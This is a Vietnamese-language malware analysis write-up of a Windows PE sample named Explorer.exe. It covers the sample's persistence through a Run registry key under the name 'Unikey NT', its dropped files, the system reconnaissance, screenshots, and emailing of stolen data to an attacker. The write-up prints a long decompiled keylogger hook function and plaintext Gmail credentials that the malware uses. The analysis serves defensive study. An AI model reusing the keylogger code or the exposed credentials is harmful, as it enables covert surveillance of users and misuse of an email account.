# Explorer.exe ## Tổng quan mã độc Loại: `PE32` Kích thước: `186 KB (190,464 bytes)` MD5: `dabdca8db4420e0b0121b48130d2f4a6` SHA1: `9135cd7cebefdb79ef6fc21d5fdea5b170689508` Hành vi: - Chạy ngầm và ẩn ứng dụng bằng - Tạo thư mục cho mã độc bên trong thư mục appdata của hệ thống - Persistence bằng việc tạo RegKey - Drop file PE - Drop DLL - Recon máy, lấy thông tin CPU và các phần mềm được cài đặt trong máy - Keylogger - Screenshot - Gửi mail chứa thông tin lấy được về cho hacker ## Phân tích chi tiết ### Mã độc ẩn chạy dưới nền ![image](https://hackmd.io/_uploads/rJ06daFkR.png) đoạn code này cho phép mã độc chạy mà không tạo ra bất kì cửa sổ nào. ### Mã độc tạo một thư mục hidden "Explorer" bên trong thư mục APPDATA của hệ thống ![image](https://hackmd.io/_uploads/SyLx5pFJC.png) ### Persistence, khởi động cùng hệ thống ![image](https://hackmd.io/_uploads/HkI2gRFy0.png) Mã độc copy chính nó vào thư mục mà nó vừa tạo ở trong thư mục APPDATA, lưu tên thành `Unikey.exe`. Tạo registry tại `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` với tên là `Unikey NT` và giá trị là đường dẫn của file mà mã độc vừa copy vừa thư mục `$APPDATA\Explorer`. Mục đích để mã độc tự khởi động cùng hệ thống ### Mã độc drop PE file từ resource của file Mã độc load resource sau đó tạo một file PE trong `$APPDATA\Explorer` có tên là `Transfer.exe` ![image](https://hackmd.io/_uploads/Bkxt4AFyC.png) ### Mã độc thực hiện hành vi recon, lấy thông tin máy nạn nhân Lấy thông tin vi xử lý: ![image](https://hackmd.io/_uploads/SJnSDRYJC.png) Lấy thông tin danh sách phần mềm được cài đặt: ![image](https://hackmd.io/_uploads/B1ZcwAFyC.png) ### Mã độc drop DLL file + thực hiện hành vi keylogger ![image](https://hackmd.io/_uploads/S1lJjVqJC.png) drop file KeyLog.dll vào thư mục của mã độc, sử dụng hook để keylogger ```c LRESULT __stdcall FillKeyboard(int nCode, WPARAM wParam, unsigned int lParam) { LPARAM v4; // esi HWND ForegroundWindow; // esi const char *v6; // [esp-Ch] [ebp-230h] FILE *Stream; // [esp+4h] [ebp-220h] BYREF struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-21Ch] BYREF CHAR String[260]; // [esp+18h] [ebp-20Ch] BYREF CHAR pszPath[260]; // [esp+11Ch] [ebp-108h] BYREF if ( nCode < 0 ) return CallNextHookEx(hhk, nCode, wParam, lParam); Stream = 0; memset(pszPath, 0, sizeof(pszPath)); GetLocalTime(&SystemTime); v4 = lParam; if ( !nCode && lParam < 0x80000000 ) { if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) < 0 ) return CallNextHookEx(hhk, 0, wParam, lParam); strcat_s(pszPath, 0x104u, "\\Explorer"); CreateDirectoryA(pszPath, 0); strcat_s(pszPath, 0x104u, "\\Log.txt"); dword_10015F78 = dword_10015F7C; ForegroundWindow = GetForegroundWindow(); dword_10015F7C = (int)ForegroundWindow; if ( (HWND)dword_10015F78 != ForegroundWindow ) { memset(String, 0, sizeof(String)); GetWindowTextA(ForegroundWindow, String, 260); if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "\n------------------------%s------------------------ ", String); fprintf( Stream, "%d-%d-%d %d:%d:%d\n", SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); fclose(Stream); } } switch ( wParam ) { case 1u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "LBUTTON"; goto LABEL_101; } break; case 2u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "RBUTTON"; goto LABEL_101; } break; case 3u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "CANCEL"; goto LABEL_101; } break; case 4u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "MBUTTON"; goto LABEL_101; } break; case 8u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "BACKSPACE"; goto LABEL_101; } break; case 9u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "TAB"; goto LABEL_101; } break; case 0xCu: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "5 no NUMLOCK"; goto LABEL_101; } break; case 0xDu: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[%s]\n", "ENTER"); goto LABEL_102; } break; case 0x10u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "SHIFT"; goto LABEL_101; } break; case 0x11u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "CTRL"; goto LABEL_101; } break; case 0x12u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "ALT"; goto LABEL_101; } break; case 0x13u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "PAUSE"; goto LABEL_101; } break; case 0x14u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "CapLock"; goto LABEL_101; } break; case 0x1Bu: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "ESC"; goto LABEL_101; } break; case 0x20u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "SPACE"; goto LABEL_101; } break; case 0x21u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "Page Up"; goto LABEL_101; } break; case 0x22u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "Page Down"; goto LABEL_101; } break; case 0x23u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "END"; goto LABEL_101; } break; case 0x24u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "HOME"; goto LABEL_101; } break; case 0x25u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "LEFT"; goto LABEL_101; } break; case 0x26u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "UP"; goto LABEL_101; } break; case 0x27u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "RIGHT"; goto LABEL_101; } break; case 0x28u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "DOWN"; goto LABEL_101; } break; case 0x2Cu: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "Print Screen"; goto LABEL_101; } break; case 0x2Du: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "Insert"; goto LABEL_101; } break; case 0x2Eu: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "Delete"; goto LABEL_101; } break; case 0x6Au: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "*"); goto LABEL_64; } break; case 0x6Bu: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "+"); goto LABEL_64; } break; case 0x6Du: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "-"); goto LABEL_64; } break; case 0x6Eu: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "."); goto LABEL_64; } break; case 0x6Fu: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "/"); goto LABEL_64; } break; case 0x70u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F1]"); goto LABEL_64; } break; case 0x71u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F2]"); goto LABEL_64; } break; case 0x72u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F3]"); goto LABEL_64; } break; case 0x73u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F4]"); goto LABEL_64; } break; case 0x74u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F5]"); goto LABEL_64; } break; case 0x75u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F6]"); goto LABEL_64; } break; case 0x76u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F7]"); goto LABEL_64; } break; case 0x77u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F8]"); goto LABEL_64; } break; case 0x78u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F9]"); goto LABEL_64; } break; case 0x79u: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F10]"); goto LABEL_64; } break; case 0x7Au: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F11]"); goto LABEL_64; } break; case 0x7Bu: if ( !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[F12]"); LABEL_64: fclose(Stream); } break; case 0x90u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "NumLock"; goto LABEL_101; } break; case 0x91u: if ( !fopen_s(&Stream, pszPath, "a+") ) { v6 = "ScrollLock"; LABEL_101: fprintf(Stream, "[%s]", v6); LABEL_102: fclose(Stream); } break; default: break; } if ( wParam - 48 <= 9 && !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "%d", wParam - 48); fclose(Stream); } if ( wParam - 65 <= 0x19 && !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "%c", wParam); fclose(Stream); } if ( wParam - 96 <= 9 && !fopen_s(&Stream, pszPath, "a+") ) { fprintf(Stream, "[%d with NUMLOCK]", wParam - 96); fclose(Stream); } v4 = lParam; } return CallNextHookEx(hhk, nCode, wParam, v4); } ``` log lại ứng dụng đang được active sử dụng keyboard và time ### chụp ảnh màn hình ![image](https://hackmd.io/_uploads/rJtu1rqJR.png) lưu ảnh `screen.jpeg` ### Gửi email chứa thông tin đã thu thập được cho attacker ![image](https://hackmd.io/_uploads/ry5peB9k0.png) `MultiByteStr` là đường dẫn của file tranfer.exe mà mã độc đã drop. Đây là một file PE .net, tiến hành phân tích file này: ![image](https://hackmd.io/_uploads/BkZGQBcyC.png) Sử dụng cred `anhthc95@gmail.com:123456789@A` gửi email đến `hunganh1803@gmail.com` chứa file log keylogger, ảnh chụp màn hình, systeminfo log.